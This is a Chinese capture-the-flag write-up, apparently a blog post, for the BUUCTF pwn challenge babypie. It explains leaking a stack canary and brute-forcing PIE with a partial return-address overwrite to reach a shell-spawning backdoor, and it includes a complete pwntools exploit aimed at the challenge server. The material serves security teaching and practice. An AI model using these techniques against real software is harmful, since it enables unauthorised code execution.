BUUCTF Pwn linkctf_2018.7_babypie 题解

下载 exeinfo checksec

开启了NX Canary和PIE 64位

IDA64 查看

明显的栈溢出漏洞

发现有后门函数

目的是栈溢出到后门函数执行binsh

首先需要绕过Canary保护:

先启用pwndbg调试:

查看栈情况后,可以看到Canary和输入的字符差了 0xB8-0x90=0x28 和RBP差了8字节

构造第一个payload泄露canary:

payload1 = b'a' * (0x28 + 1)
#+1为了将canary结尾的\x00去掉使puts能够打印出canary
p.sendafter("Name:\n", payload1)
p.recvuntil(b'a' * (0x28 + 1))
canary = u64(p.recvn(7).rjust(8, b'\x00'))
print(hex(canary))

Canary保护已经解决,接下来就是绕过PIE保护

IDA上的后门函数只知道后三位

这里要采用栈上的部分写方式 爆破得到后门函数的确切地址

exp:

from pwn import *

#gdb.attach(p)
#pause()

while True:
    p = remote("node5.buuoj.cn", 27768)
    #p = process('./babypie')
    payload1 = b'a' * (0x28 + 1)
    #+1为了将canary结尾的\x00去掉使puts能够打印出canary
    p.sendafter("Name:\n", payload1)
    p.recvuntil(b'a' * (0x28 + 1))
    canary = u64(p.recvn(7).rjust(8, b'\x00'))
    print(hex(canary))

    payload2 = b'a' * 0x28 + p64(canary) + b'b' * 8 + b'\x3E\x0A'
    #小端序 所以0x3E放最前面
    p.sendafter(":\n", payload2)
    p.interactive()
    p.close()

运行,得到flag:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值